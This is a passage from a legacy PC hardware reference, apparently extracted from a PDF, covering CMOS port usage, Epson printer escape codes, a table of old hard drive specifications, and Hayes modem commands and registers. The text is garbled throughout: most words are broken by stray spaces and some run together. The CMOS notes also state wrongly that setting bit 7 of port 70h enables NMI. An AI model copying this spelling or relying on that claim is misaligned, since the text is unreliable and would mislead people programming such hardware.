% Pr ogr ammi ng Consi der at i ons:

Wr i t e CMOS addr ess t o r ead or wr i t e t o por t 70h
Read/ wr i t e por t 71h t o get / set dat a


- t he i nf or mat i on her e i s onl y appl i cabl e t o AT and PS/ 2 syst ems
- I NT 1A i s used t o r ead/ set t he Ti me of Day and Al ar m. To use t he
al ar m, I NT 4A must be a val i d i nt er r upt ser vi ce r out i ne.
- conf i gur at i on set t i ngs ar e mai nt ai ned usi ng t he Mot or ol a MC146818
Real Ti me Cl ock. Each of t hi s chi ps 64 memor y r egi st er s i s used
f or st or age ( 0- 3F) .
- Bi t 5 of t he di agnost i c ( 0Eh) st at us byt e i s set dur i ng a power
on t est . Thi s Bi t i s set i f no f l oppy di sks ar e f ound or t he
di spl ay doesn' t mat ch t he syst emdi spl ay swi t ch set t i ng.
- al l addr esses sent t o por t 70h have Bi t s 7&6 cl ear si nce Bi t 7
of por t 70h i s used t o enabl e/ di sabl e NMI . Set t i ng t hi s Bi t 7
enabl es NMI , cl ear i ng t hi s Bi t di sabl es NMI .
- when maski ng t he NMI t hr ough usi ng por t 70H, por t 71H shoul d be
r ead i mmedi at el y af t er or t he RTC may be l ef t i n an unknown st at e.
Thi s wont af f ect t he PS/ 2 wat chdog t i mer or syst emchannel t i meout .

- see ~I NT 1A~
: Epson pr i nt er codes
^Epson FX Pr i nt er Codes

% Pr i nt er Oper at i on:
% Deci mal ASCI I Descr i pt i on
7 BEL Beeper
17 DC1 Sel ect pr i nt er
19 DC3 Desel ect pr i nt er
27 25 48 ESC EM 0 Tur n cut sheet f eeder cont r ol of f
27 25 52 ESC EM 4 Tur n cut sheet f eeder cont r ol on
27 56 ESC 8 Di sabl e paper out sensor
27 57 ESC 9 Enabl e paper out sensor
27 60 ESC < Sel ect uni di r ect i onal mode f or one l i ne
27 64 ESC @ I ni t i al i ze pr i nt er
27 85 48 ESC U 0 Cancel uni di r ect i onal mode
27 85 49 ESC U 1 Sel ect uni di r ect i onal mode
27 115 48 ESC s 0 Tur n hal f speed mode of f
27 115 49 ESC s 1 Tur n hal f speed mode on

% Ver t i cal / Hor i zont al Mot i on:
% Deci mal ASCI I Descr i pt i on
8 BS Backspace
9 HT Hor i zont al t ab
10 LF Li ne Feed
11 VT Ver t i cal Tab
12 FF For mFeed
27 47 c ESC / c Sel ect ver t i cal t ab channel ( c=0. . 7)
27 48 ESC 0 Sel ect 8 l i nes per i nch
27 49 ESC 1 Sel ect 7/ 72 i nch l i ne spaci ng
27 50 ESC 2 Sel ect 6 l i nes per i nch
27 51 n ESC 3 n Sel ect n/ 216 i nch l i ne spaci ng ( n=0. . 255)
Pagina 619 di 991
27 65 n ESC A n Sel ect n/ 72 i nch l i ne spaci ng ( n=0. . 85)
27 66 0 ESC B NUL Cl ear Ver t i cal t abs
27 66 t abs ESC B t abs Sel ect up t o 16 ver t i cal t abs wher e t abs ar e
ascendi ng val ues f r om1. . 255 endi ng wi t h NUL
27 67 n ESC C n Sel ect page l engt h i n l i nes ( n=1. . 127)
27 67 48 n ESC C 0 n Sel ect page l engt h i n i nches ( n=1. . 22)
27 68 0 ESC D NUL Cl ear s al l hor i zont al t abl es
27 68 t abs 0 ESC D t abs NUL Set s up t o 32 hor i zont al t abs wi t h
ascendi ng val ues 1- 137. NUL or a val ue
l ess t han pr evi ous t ab ends command.
27 74 n ESC J n I mmedi at e n/ 216 i nch l i ne f eed ( n=0. . 255)
27 78 n ESC N n Sel ect ski p over per f or at i on ( n=1. . 127)
27 79 ESC O Cancel ski p over per f or at i on
27 81 n ESC Q n Set r i ght mar gi n ( n=col umn)
27 98 b c 0 ESC b c NUL Cl ear ver t i cal t abs i n channel ( c=0. . 7)
27 98 c t abs ESC b c t abs Sel ect up t o 16 ver t i cal t abs i n channel s
( c=0. . 7) wher e t abs ar e ascendi ng val ues
f r om1. . 255 endi ng wi t h NUL
27 101 48 s ESC e 0 s Set hor i zont al t ab t o i ncr ement s of ' s'
27 101 49 s ESC e 1 s Set ver t i cal t ab t o i ncr ement s of ' s'
27 102 48 s ESC f 0 s Set hor i zont al ski p t o i ncr ement s of ' s'
27 102 49 s ESC f 1 s Set ver t i cal ski p t o i ncr ement s of ' s'
27 106 n ESC j n Rever se l i nef eed ( n/ 216 i nch af t er buf f er )
27 108 n ESC l n Set l ef t mar gi n ( n=col umn)

% Pr i nt i ng St yl e:
% Deci mal ASCI I Descr i pt i on
27 33 n ESC ! n Mast er sel ect wher e n i s a combi nat i on of :
0 Pi ca 16 Doubl e St r i ke
1 El i t e 32 Doubl e Wi de
4 Condensed 64 I t al i c
8 Emphasi zed 128 Under l i ne
Pi ca & El i t e and Condensed/ Emphasi zed ar e
mut ual l y excl usi ve
27 107 48 ESC k 0 Sel ect NLQ Roman f ont
27 107 49 ESC k 1 Sel ect NLQ Sans Ser i f f ont
27 120 48 ESC x 0 Sel ect dr af t mode
27 120 49 ESC x 1 Sel ect NLQ mode

% Pr i nt Si ze and Char act er Wi dt h:
% Deci mal ASCI I Descr i pt i on
14 SO Sel ect doubl e wi dt h f or one l i ne
15 SI Sel ect condensed mode
18 DC2 Cancel condensed mode
20 DC4 Cancel one l i ne doubl e wi dt h mode
27 14 ESC SO Doubl e wi dt h f or one l i ne ( dupl i cat e)
27 15 ESC SI Sel ect condensed mode ( dupl i cat e)
27 77 ESC M Sel ect el i t e wi dt h ( 12 cpi )
27 80 ESC P Sel ect pi ca wi dt h ( 10 cpi )
27 87 48 ESC W0 Cancel doubl e wi dt h mode
27 87 49 ESC W1 Sel ect doubl e wi dt h mode

% Pr i nt Enhancement :
% Deci mal ASCI I Descr i pt i on
27 45 48 ESC - 0 Cancel under l i ni ng
27 45 49 ESC - 1 Sel ect under l i ni ng
27 69 ESC E Sel ect emphasi zed mode
27 70 ESC F Cancel emphasi zed mode
27 71 ESC G Sel ect doubl e st r i ke mode
27 72 ESC H Cancel doubl e st r i ke mode
27 83 48 ESC S 0 Sel ect super scr i pt
27 83 49 ESC S 1 Sel ect subscr i pt
27 84 ESC T Cancel super scr i pt / subscr i pt
Pagina 620 di 991

% Char act er Set s:
% Deci mal ASCI I Descr i pt i on
27 52 ESC 4 Sel ect i t al i c mode
27 53 ESC 5 Cancel i t al i c mode
27 54 ESC 6 Enabl e pr i nt i ng of char act er s ( 128- 159, 255)
27 55 ESC 7 Cancel [ ESC 6] command
27 82 n ESC R n Sel ect I nt er nat i onal char act er set wher e
numer i c ' n' i s:
0 USA 7 Spai n I
1 Fr ance 8 J apan
2 Ger many 9 Nor way
3 Uni t ed Ki ngdom 10 Denmar k I I
4 Denmar k I 11 Spai n I I
5 Sweden 12 Lat i n Amer i ca
6 I t al y
27 116 0 ESC t NUL Sel ect i t al i c char act er set
27 116 1 ESC t SOH Sel ect Epson char act er set

% User Def i ned Char act er s:
% Deci mal ASCI I Descr i pt i on
27 37 0 ESC %NUL Sel ect s nor mal char act er set
27 37 1 ESC %SOH Sel ect s user def i ned set
27 38 0 ESC & NUL ? Sel ect user def i ned char s ( see manual )
27 58 0 0 0 ESC : NUL NUL NUL Copy ROM i nt o RAM

% Gr aphi cs Char act er Set s:
% Deci mal ASCI I Descr i pt i on
27 42 0 n1 n2 ESC * NUL n1 n2 Sel ect si ngl e densi t y gr aphi cs
27 42 1 n1 n2 ESC * SOH n1 n2 Sel ect doubl e densi t y gr aphi cs
27 63 s n ESC ? s n Reassi gn gr aphi cs mode
' s' =( K, L, Y or Z) t o mode ' n' =( 0. . 6)
27 75 n1 n2 ESC K n1 n2 Si ngl e densi t y gr aphi cs ( 60 dpi )
27 76 n1 n2 ESC L n1 n2 Doubl e densi t y gr aphi cs ( 120 dpi )
27 89 n1 n2 ESC Y n1 n2 Hi - speed doubl e den gr aphi cs ( 120 dpi )
27 90 n1 n2 ESC Z n1 n2 Quad densi t y gr aphi cs ( 240 dpi )
27 94 mn1 n2 ESC ^ mn1 n2 Sel ect 9 pi n gr aphi cs mode

number of col umns = n1 + ( n2 * 256)

% Ot her :
% Deci mal ASCI I Descr i pt i on
13 CR Car r i age Ret ur n
24 CAN Cancel t ext i n l i ne ( but not cont r ol codes)
127 DEL Del et e char act er ( but not cont r ol codes)
27 32 n ESC SP n Space i n n/ 72 i nch f ol l owi ng each NLQ char
27 35 ESC # MSB cont r ol sequence cancel
27 36 ESC $ Sel ect absol ut e dot posi t i on
27 61 ESC = MSB = 0
27 62 ESC > MSB = 1
27 73 48 ESC I 0 Cancel above [ ESC I 1]
27 73 49 ESC I 1 Pr i nt abl e codes expansi on ( 0- 31, 128- 159)
27 92 ESC \ Sel ect r el at i ve dot posi t i on
27 97 n ESC a n NLQ j ust i f i cat i on wher e numer i c ' n' i s:
0 l ef t j ust i f i cat i on ( def aul t )
1 cent er
2 r i ght j ust i f i cat i on
3 f ul l j ust i f i cat i on
27 112 ESC p Sel ect / cancel pr opor t i onal mode


- t he codes l i st ed ar e r el at i ve t o t he Epson LX 800
- i n sever al si t uat i ons wher e a numer i c val ue of zer o or one i s
Pagina 621 di 991
r equi r ed, t he ASCI I val ue of t he number can be subst i t ut ed
: har d di sks dr i ves: dr i ve speci f i cat i ons: di sk dr i ves: har d dr i ves
^Har d Dr i ve Speci f i cat i ons

% Avg Mi scel l aneous
% Manuf act ur er MB Cyl Hds Access I nf or mat i on

Al l oy I D- 160 125 30
At asi AT3020 635 3 Wedge ser vo
At asi AT3033 635 5 Wedge ser vo
At asi AT3046 635 7
At asi AT3051 703 7
At asi AT3085 1024 8
Bul l D530 987 3
Bul l D550 987 5
Bul l D570 987 7
Bul l D585 987 7
Bul l D530 1166 3
CDC Wr en I 9415- 21 697 3 STnn, MFM, Voi ce coi l
CDC Wr en I 9415- 36 697 5 STnn, MFM, Voi ce coi l
CDC Wr en I I 9415- 25 615 4 STnn, MFM, Voi ce coi l
CDC Wr en I I 9415- 30 989 3 STnn, MFM, Voi ce coi l
CDC Wr en I I 9415- 38 733 5 STnn, MFM, Voi ce coi l
CDC Wr en I I 9415- 48 925 5 STnn, MFM, Voi ce coi l
CDC Wr en I I 9415- 51 42 989 5 28 STnn, MFM, Voi ce coi l
CDC Wr en I I 9415- 67 925 7 STnn, MFM, Voi ce coi l
CDC Wr en I I 9415- 86 69 925 9 STnn, MFM, Voi ce coi l
CDC Wr en I I 9416- 182 144 969 9 STnn, MFM, Voi ce coi l
CDC Wr en V 380 15 16 ESDI / SCSI , FH
CDC Wr en V 702 15 16 ESDI / SCSI , FH
CDC Wr en VI 766 15 16. 5 ESDI / SCSI , FH
CDC Wr en VI I 1. 2G 15 16. 5 SCSI , FH
CMI CM3426 612 4
CMI CM5205 256 4
CMI CM5410 256 4
CMI CM5616 256 4
CMI CM6426 615 4
CMI CM6426S 640 4
CMI CM6640 640 4
CMS F40- K 42 1024 5 22 STnn, MFM, Voi ce coi l
CMS F60- K 42 1024 7 STnn, MFM, Voi ce coi l
CMS F70- K 42 1024 8 STnn, MFM, Voi ce coi l
CMS F80- K 42 1024 9 STnn, MFM, Voi ce coi l
Col umbi a SCSI 42 834 3 19 SCSI , RLL, Band st epper
Cor e AT40F 40 564 4 10 ESDI , MFM, Voi ce coi l
Cor e AT43 43 988 5 20 STnn, MFM, Voi ce coi l
Cor e HC150 150 1024+ 18 ESDI
Emer al d DOS 150- 3000 150 1024+ ESDI
Emul ex ATS- 170 142 1022 SCSI & ESDI
Emul ex ATS- 380 310 1222 SCSI & ESDI
Fl ashCar d 49 49 615 6 28 STnn, RLL, Voi ce coi l
Fuj i 302- 13 10 612 2
Fuj i 302- 26 20 612 4
Fuj i t su M2230AS 320 2
Fuj i t su M2233AS 10 320 4
Fuj i t su M2234AS 320 6
Fuj i t su M2235AS 21 320 8 56
Fuj i t su M2241AS 754 4
Fuj i t su M2242AS 43 754 7 33 STnn, MFM, Voi ce coi l
Fuj i t su M2243AS 72 754 11 33 STnn, MFM, Voi ce coi l
Fuj i t su M2263 778u 14 16 ESDI / SCSI , FH
Hi t achi DK511- 5 699 7
Hi t achi DK511- 8 823 10
Pagina 622 di 991
Hi t achi DK515C- 78 780u 8 16 SCSI , FH
Hi t achi DK515- 78 780u 8 16 ESDI , FH
I MI 5006H 306 2
I MI 5012H 306 4
I MI 5018H 306 6
I mpr i mi s ( see CDC)
I r wi n 416 819 2
I r wi n 510 628 2 HD/ t ape
I r wi n 516 819 2 HD/ t ape
I r wi n 561 180 4
Kal ok KL320 26u 615 4 40 STnn, MFM, Band st epper
Kal ok KL330 38u 615 4 40 STnn, RLL, Band st epper
Maxt or XT1065 52 918 7 28 STnn, Voi ce coi l
Maxt or XT1085 68 1024 8 28 STnn, Voi ce coi l
Maxt or XT1105 83 918 11 28 STnn, Voi ce coi l
Maxt or XT1140 112 918 15 28 STnn, Voi ce coi l
Maxt or XT1190 150 1224 28 STnn, Voi ce coi l
Maxt or XT2085 1224 7 28 STnn, Voi ce coi l
Maxt or XT2140 1224 11 STnn, Voi ce coi l
Maxt or XT2190 160 1224 15 STnn, Voi ce coi l
Maxt or XT4170E 179u 1224 7 14 ESDI , MFM, FH Voi ce coi l
Maxt or XT4230E 231u 1224 9 16 ESDI , MFM, FH Voi ce coi l
Maxt or XT4380E 384u 1224 15 16 ESDI , MFM, FH Voi ce coi l
Maxt or XT4380S 384u 1224 16 SCSI , MFM, FH Voi ce coi l
Maxt or XT8380E 410u 14. 5 ESDI , FH
Maxt or XT8380S 410u 14. 5 SCSI , FH
Maxt or XT8760E 768u 16. 5 ESDI , FH
Maxt or XT8760S 768u 16. 5 SCSI , FH
Mi cr opol i s 1302 830 3
Mi cr opol i s 1303 830 5
Mi cr opol i s 1304 830 6
Mi cr opol i s 1323 1024 4
Mi cr opol i s 1323A 1024 5
Mi cr opol i s 1324 1024 6
Mi cr opol i s 1324A 1024 7
Mi cr opol i s 1325 1024 8
Mi cr opol i s 1333A 44 1024 5 28 STnn, MFM, Voi ce coi l
Mi cr opol i s 1335 71 1024 8 30
Mi cr opol i s 1355 142 1022
Mi cr opol i s 1518 1. 2Gu 15 14 ESDI , FH
Mi cr opol i s 1558 382u 15 18 ESDI , FH
Mi cr opol i s 1568 765u 15 16 ESDI , FH
Mi cr opol i s 1578 382u 15 18 SCSI , FH
Mi cr opol i s 1588 765u 15 16 SCSI , FH
Mi cr opol i s 1598 1. 2Gu 15 14 SCSI , FH
Mi cr osci ence HH312 10 306 4
Mi cr osci ence HH325 20 612 4
Mi cr osci ence HH612 10 306 4
Mi cr osci ence HH725 21 612 4 Band st epper
Mi cr osci ence HH1050 44 1024 5 28 STnn, MFM, Voi ce coi l
Mi ni scr i be 1006 306 2
Mi ni scr i be 1012 306 4
Mi ni scr i be 2006 306 2
Mi ni scr i be 3012 10 612 4
Mi ni scr i be 3053 44 1024 6 25 STnn, MFM, Voi ce coi l
Mi ni scr i be 3212 10 612 4
Mi ni scr i be 3412 306 4
Mi ni scr i be 3425 20 615 4
Mi ni scr i be 3438 31. 2 615 4
Mi ni scr i be 3650 50u 809 6 61 STnn, MFM, l i near dr i ve
Mi ni scr i be 3650F 50u 809 6 46 STnn, MFM, l i near dr i ve
Mi ni scr i be 3675 75u 809 6 61 STnn, MFM, l i near dr i ve
Mi ni scr i be 4010 480 2
Pagina 623 di 991
Mi ni scr i be 4020 480 4
Mi ni scr i be 6032 26 1024 3
Mi ni scr i be 6053 43 1024 5 28 STnn, MFM, FH Voi ce coi l
Mi ni scr i be 6085 71 1024 8
Mi ni scr i be 6128 104 1024 8
Mi ni scr i be 8051A 51u 745 4 28 STnn, MFM, Voi ce coi l
Mi ni scr i be 8212 615 2
Mi ni scr i be 8425 20 615 4 STnn, MFM, 3
Mi ni scr i be 8438 31. 2 615 4
Mi ni scr i be 9380E 382u 1224 15 16 ESDI , RLL, FH Voi ce coi l
Mi ni scr i be 9380S 382u 1224 15 16 SCSI , RLL, FH Voi ce coi l
Mi ni scr i be 9780E 781u 15 17 ESDI , FH Voi ce coi l
Mi t subi si MR535 42 981 6 STnn, MFM, 5 Voi ce coi l
NEC D5662 385u 18 ESDI , FH
NEC D5682 765u 18 16 ESDI , FH
NEC D5862 385u 18 SCSI , FH
NEC D5882 765u 18 16 SCSI , FH
NEC 5124 310 4
NEC 5126 612 4
NEC 5146 615 8
Newber r y Penny 340 615 8
Nor t hgat e Tur bo 42 809 6 36 STnn, RLL, Voi ce coi l
Pl us Har dcar d 40 42 612 4 40 STnn, RLL, Voi ce coi l
Pr i amI D45ATD2 42 1166 5 20 STnn, MFM, Voi ce coi l
Pr i amI D130 130 1224 STnn
Pr i amI D40 987 5
Pr i amI D60 987 7
Pr i amV130 987 3 STnn
Pr i amV185 1166 7
Pr i am638 382u 15 18 ESDI , 5
Pr i am676 765u 15 14 ESDI , 5
Pr i am738 382u 15 18 SCSI , 5
Pr i am776 765u 15 14 SCSI , 5
Quadr amQ520 512 4
Quadr amQ530 512 6
Quadr amQ540 512 8
Rodi me RO101 192 2
Rodi me RO102 192 4
Rodi me RO103 192 6
Rodi me RO104 192 8
Rodi me RO201 320 2
Rodi me RO202 320 4
Rodi me RO203 320 6
Rodi me RO204 320 8
Rodi me RO201E 640 2
Rodi me RO202E 640 4
Rodi me RO203E 33 640 6
Rodi me RO204E 640 8
Rodi me RO252 10 306 4
Rodi me RO352 10 306 4
Rodi me RO3055 45 872 7 STnn, MFM, Voi ce coi l
RMS 503 153 2
RMS 506 153 4
RMS 512 153 8
Seagat e ST125 21 615 4 28 STnn, MFM, Band st epper
Seagat e ST125N 22 407 4 SCSI , RLL, Band st epper
Seagat e ST138 32 615 6 28 STnn, MFM, 3 Band st epper
Seagat e ST138N 31 615 4 28 SCSI , RLL, Band st epper
Seagat e ST138R 33 615 4 28 STnn, RLL, Band st epper
Seagat e ST151 43 977 5 STnn, MFM, Voi ce Coi l
Seagat e ST157A 49 560 6 28 I DE, 3
Seagat e ST157N 49 615 6 28 SCSI , 3 RLL, Band st epper
Seagat e ST157R 49 615 6 28 STnn, 3 RLL, Voi ce Coi l
Pagina 624 di 991
Seagat e ST177N 61 921 5 SCSI , RLL, Voi ce Coi l
Seagat e ST206 306 2 STnn, MFM, Band st epper
Seagat e ST213 11 615 2 STnn, MFM, Band st epper
Seagat e ST225 21 615 4 65 STnn, MFM, 5 Band st epper
Seagat e ST225N 21 615 4 65 SCSI , MFM, 5 Band st epper
Seagat e ST225R 21 667 2 STnn, RLL, 5 Band st epper
Seagat e ST238R 31 615 4 65 STnn, RLL, Band St epper
Seagat e ST250R 42 667 4 STnn, RLL, Band st epper
Seagat e ST251 42 820 6 40 STnn, MFM, 5 Band st epper
Seagat e ST251- 1 43 820 6 28 STnn, MFM, 5 Band st epper
Seagat e ST251N0 43 820 4 40 SCSI , RLL, 5 Band st epper
Seagat e ST251N1 43 630 4 SCSI , RLL, 5 Band st epper
Seagat e ST251R 43 820 6 40 STnn, RLL, 5 Band st epper
Seagat e ST277 66 820 6 STnn, MFM, 5 Band st epper
Seagat e ST277N0 65 820 6 40 SCSI , RLL, 5 Band st epper
Seagat e ST277N1 65 628 6 SCSI , RLL, 5 Band st epper
Seagat e ST277R 65 820 6 40 STnn, RLL, 5 Band st epper
Seagat e ST280A 72 29 I DE, 5
Seagat e ST296N 85 820 6 28 SCSI , RLL, 5 Band st epper
Seagat e ST406 5 306 2 STnn, MFM, Band st epper
Seagat e ST412 10 306 4 STnn, MFM, FH Band st epper
Seagat e ST419 15 306 6 STnn, MFM, Band st epper
Seagat e ST425 20 306 8 STnn, MFM, Band st epper
Seagat e ST506 5 153 4 STnn, MFM, FH Band st epper
Seagat e ST1096N 84 906 7 SCSI , RLL, Voi ce coi l
Seagat e ST1102A 89 29 I DE, 3
Seagat e ST1144 125 19 I DE, 3
Seagat e ST1239 211 15 I DE, 3
Seagat e ST4026 21 615 4 STnn, MFM, Voi ce coi l
Seagat e ST4038 32 733 5 40 STnn, MFM, FH Voi ce coi l
Seagat e ST4051 43 977 5 40 STnn, MFM, Voi ce coi l
Seagat e ST4053 44 1024 5 28 STnn, MFM, Voi ce coi l
Seagat e ST4077R 65 1024 5 28 STnn, MFM, Voi ce coi l
Seagat e ST4096 80 1024 9 28 STnn, MFM, FH Voi ce coi l
Seagat e ST4144R 122 1024 9 28 STnn, RLL, FH Voi ce coi l
Shugar t SA 604 160 4
Shugar t SA 606 160 6
Shugar t SA 612 306 4
Shugar t SA 712 320 4
SPC Scor ecar d 44 44 753 7 STnn, MFM, Voi ce coi l
Syquest SQ306RD 306 2
Syquest SQ312RD 615 2
Syquest SQ325F 612 4
Syquest SQ338F 612 6
Tandon TM252 10 306 4
Tandon TM262 20 615 4
Tandon TAN501 306 2
Tandon TAN502 306 4
Tandon TAN503 306 6
Tandon TM602S 153 4
Tandon TM603S 153 6
Tandon TM603SE 230 6
Tandon TM702AT 615 4
Tandon TM703 695 5
Tandon TM703AT 733 5
Tandon TM755 981 5
Tandy SCSI 80 823 6 28 SCSI , RLL, Band st epper
Toshi ba MK53F 830 5
Toshi ba MK54F 49 830 7 25 STnn, MFM, 3 Voi ce coi l
Toshi ba MK56F 72 830 10 25
Toshi ba MK134FA 733 7 25 STnn
Toshi ba MK358FA 765u 15 16 ESDI , FH
Toshi ba MK358FB 765u 15 16 SCSI , FH
Pagina 625 di 991
Tul i n 226 640 4
Tul i n 240 640 6
Tul i n 326 20 640 4
Tul i n 340 30 640 6
WD93024A 21. 6 28 STnn, MFM, 3 Band st epper
WD93024X 21. 6 39 STnn, MFM, 3 Band st epper
WD93028A 21. 6 69 STnn, MFM, 3 Band st epper
WD93028X 21. 6 70 STnn, MFM, 3 Band st epper
WD93034X 32. 4 39 STnn, MFM, 3 Band st epper
WD93038X 32. 4 70 STnn, MFM, 3 Band
st epper
WD93044A 43. 2 28 STnn, MFM, 3 Band st epper
WD93044X 43. 2 39 STnn, MFM, 3 Band st epper
WD93048A 43. 2 69 STnn, MFM, 3 Band st epper
WD93048X 43. 2 70 STnn, MFM, 3 Band st epper
WD95024A 20 28 STnn, MFM, 5 Band st epper

WD95028AD 20 69 STnn, MFM, 5 Band st epper

WD95028X 20 70 STnn, MFM, 5 Band st epper

WD95038X 30 70 STnn, MFM, 5 Band st epper

WD95044A 40 28 STnn, MFM, 5 Band st epper

WD95048AD 40 69 STnn, MFM, 5 Band st epper

WD95048X 40 70 STnn, MFM, 5 Band st epper
WDAC140 42. 5 19 STnn, MFM, 3 Voi ce coi l
WDAC280 85. 1 19 STnn, MFM, 3 Voi ce coi l
WDSC320 320 SCSI , 3
WDSC8320 320 SCSI , 3


- STnn i ndi cat es Seagat e ST412/ ST506 compat i bl e
- 3 i ndi cat es 3. 5 i nch hal f hei ght dr i ve
- 5 i ndi cat es 5. 25 i nch hal f hei ght dr i ve
- FH i ndi cat es Ful l Hei ght 5. 25 i nch dr i ve
- ' u' i n f i l esi ze i ndi cat es unf or mat t ed spec
- f or mat t ed capaci t y i s r el at ed t o BI OS and may var y wi t h di f f er ent
BI OS and OEM ver si ons
- r ead/ wr i t e heads shoul d nor mal l y never t ouch har d di sk medi a
- st andar d AT har d di sk cont r ol l er s do not use DMA f or di sk I / O due
t o t he sl ow speed of t he 8 Bi t DMA chi ps used; Por t I / O i s used
i nst ead f or an act ual i ncr ease i n per f or mance
- wi t h some XT and ESDI syst ems i t i s necessar y t o use debug t o
execut e t he ROM di sk f or mat code; The usual met hod i s t o set
AH=Dr i ve, AL=I nt er l eave and j ump t o t he code at C800: 5 vi a t he
G =C800: 5 command ( some syst ems l ocat e t hi s code at C600: 5, CA00: 5
and CC00: 5)
- DOS ver si on and di sk si ze det er mi ne cl ust er si ze; DOS 2. x al ways
has cl ust er si ze of 8K, whi l e DOS 3. x+ has var i abl e cl ust er si zes:

2 - 16 Mb par t i t i ons have a cl ust er si ze of 8K
16 - 128 Mb par t i t i ons have a cl ust er si ze of 2K
128 - 256 Mb par t i t i ons have a cl ust er si ze of 4K
256 - 512 Mb par t i t i ons have a cl ust er si ze of 8K

: Hayes modemi nf o: modemcommands
^Hayes Command Set / Regi st er For mat s

+++ st andar d escape sequence ( see S2 bel ow)
Comma st andar d pause char act er ( see S8 bel ow)
Pagina 626 di 991
AT st andar d at t ent i on sequence

ATA f or ce i mmedi at e answer
ATC0 t r ansmi t t er of f
ATC1 t r ansmi t t er on

ATD di al ( ATD number )
ATDP pul se di al ( ATDP number )
ATDT t one di al ( ATDT number )

ATE0 di sabl e l ocal char act er echo
ATE1 enabl e l ocal char act er echo
ATF0 Hal f Dupl ex ( modemechoes char act er s)
ATF1 Ful l Dupl ex ( modemdoes not echo char act er s)

ATH0 f or ce l i ne on hook
ATH1 f or ce l i ne of f hook
ATH2 f or ce l i ne speci al of f hook ( used f or HAM r adi o)

ATI 0 r equest pr oduct code, f or mat t ed PPR, PP=pr od. , R=r ev.
ATI 1 r equest ROM check sum

ATL1 speaker vol ume l ow ( modemspeci f i c)
ATL2 speaker vol ume medi um ( modemspeci f i c)
ATL3 speaker vol ume hi gh ( modemspeci f i c)
ATM0 speaker al ways of f
ATM1 speaker on except whi l e car r i er pr esent
ATM2 speaker al ways on
ATM3 speaker on except whi l e di al i ng and car r i er pr esent

ATO f or ce modemi nt o on- l i ne st at e
ATP set s modemt o def aul t pul se di al

ATQ0 modemr et ur ns r esul t codes
ATQ1 modemdoes not r et ur n r esul t codes

ATR set s modemt o answer mode af t er di al i ng out
ATSn wher e Sn i s S r egi st er number ' n' ( see r egi st er s bel ow)
ATT set s modemt o def aul t t one di al

ATV0 send numer i c codes
ATV1 send wor d r esul t codes

ATX0 basi c r esul t code set " CONNECT" , no di al t one det ect
ATX1 ext ended r esul t code set " CONNECT 1200" , no di al t one det ect
ATX2 wai t f or di al t one, ext ended r esul t codes
ATX3 det ect busy si gnal , ext ended r esul t codes
ATX4 wai t f or di al t one, det ect busy, ext ended r esul t codes

ATZ r eset t o power up condi t i on

^Hayes 2400 Compat i bl e ModemCommands

ATB0 CCI TT V. 22 at 1200 bps
ATB1 BELL 212A at 1200 bps

AT&C DCD al ways on
AT&C1 DCD on whi l e car r i er pr esent

AT&D DTR i gnor ed
AT&D1 DTR f ai l di sconnect enabl ed
AT&D2 DTR f ai l di sconnect enabl ed ( aut o answer of f )
AT&D3 DTR f ai l di sconnect enabl ed ( r eset modem)
Pagina 627 di 991

AT&F r est or e t o f act or y conf i gur at i on

AT&G no guar d t one
AT&G1 550 Hz guar d t one
AT&G2 1800 Hz guar d t one

AT&J RJ 11/ RJ 41S/ RJ 45 j ack
AT&J 2 RJ 12/ RJ 13 j ack

AT&L r egul ar phone l i ne
AT&L1 l eased l i ne

AT&M async oper at i on
AT&M1 async/ sync oper at i on
AT&M2 sync aut o di al
AT&M3 sync manual di al

AT&P 39/ 61 pul se make/ br eak r at i o
AT&P1 33/ 67 pul se make/ br eak r at i o

AT&T4 gr ant RDL t est r equest
AT&T5 deny RDL t est r equest

AT&W wr i t e cur r ent r egi st er s t o non- vol at i l e memor y

AT&X sync cl ock i nt er nal

AT&X1 sync cl ock ext er nal
AT&X2 sync cl ock sl aved

AT&Z st or e di al command l i ne

^Hayes Compat i bl e ModemRegi st er s

Not al l modems suppor t al l of t hese r egi st er s and some modems have
r egi st er s ot her t han t hose l i st ed her e. Al so not e, some ar e r ead onl y.

t o set a r egi st er use: AT Sr =## ( cr )
t o r ead t he r egi st er : AT Sr ? ( cr )

Wher e " r " i s t he r egi st er and ( cr ) i s a car r i age r et ur n


% The f ol l owi ng r epr esent convent i ons used i n t he t abl es bel ow:

( ) i ndi cat es def aul t s f or Smar t modem1200
** i ndi cat es possi bl e i nconsi st enci es acr oss modems


% Reg Val ues Regi st er f unct i on

S0 0- 255 r i ng t o answer on ( 0=don' t answer )
S1 0- 255 r i ng count ( cl ear af t er 8 sec) ( r ead onl y)
S2 0- 255 escape char , nor mal l y " +" , 128- 255 di sabl e escape
S3 0- 127 end of l i ne char act er ( 0x0D/ CR)
S4 0- 127 l i ne f eed char act er ( 0x0A/ LF)
S5 0- 32, 127 backspace char act er ( 0x08/ BS)
S6 2- 255 pause bef or e di al i ng i n seconds ( 2)
S7 1- 255 wai t f or car r i er i n seconds ( 30)
S8 0- 255 pause f or comma i n di al st r i ng i n seconds ( 2)
S9 1- 255 car r i er det ect r esponse t i me i n 1/ 10 second ( 6)
S10 1- 255 car r i er l oss del ay i n 1/ 10 second, 255=i gnor e CD ( 7)
Pagina 628 di 991
S11 50- 255 t ouch t one di al speed, i n mi l l i seconds ( 70)
S12 20- 255 escape guar d t i me, i n 1/ 50 second, 0=no del ay ( 50)

7 6 5 4 3 2 1 0 S13 power up async dat a f or mat
unused
r esul t code, 0=basi c, 1=ext ended
par i t y, 0=di sabl ed, 1=enabl ed
par i t y, 0=odd , 1=even
dat a bi t s, 0=7 bi t s, 1=8 bi t s
undef i ned
buf f er ovf w f l ag, 0=di sabl ed, 1=enabl ed
8t h bi t , 0=space, 1=mar k ( 8 bi t onl y)

7 6 5 4 3 2 1 0 S14 opt i on r egi st er st at us dat a f or mat
unused **
l ocal echo, 0=di sabl ed, 1=enabl ed
r esul t codes, 0=enabl ed, 1=di sabl ed
r esul t codes, 0=numer i c, 1=wor d
command r ecogni t i on, 0=enabl e, 1=di sabl e
di al met hod, 0=t ouch t one, 1=pul se
unused **
0=answer , 1=or i gi nat e **

S15 f l ag r egi st er **

7 6 5 4 3 2 1 0 S16 t est st at us
anal og l oop, 0=i nact i ve, 1=act i ve
unused
di gi t al l oop, 0=i nact i ve, 1=act i ve
r emot e r eq di gi t al l oop, 0=i nact . , 1=act i ve
r emot e di gi t al l oop, 0=i nact . , 1=act i ve
sel f t est RDL, 0=i nact i ve, 1=act i ve
sel f t est anal og l oop, 0=i nact i ve, 1=act i ve
unused

S18 0- 255 r emot e t est t i mer i n seconds

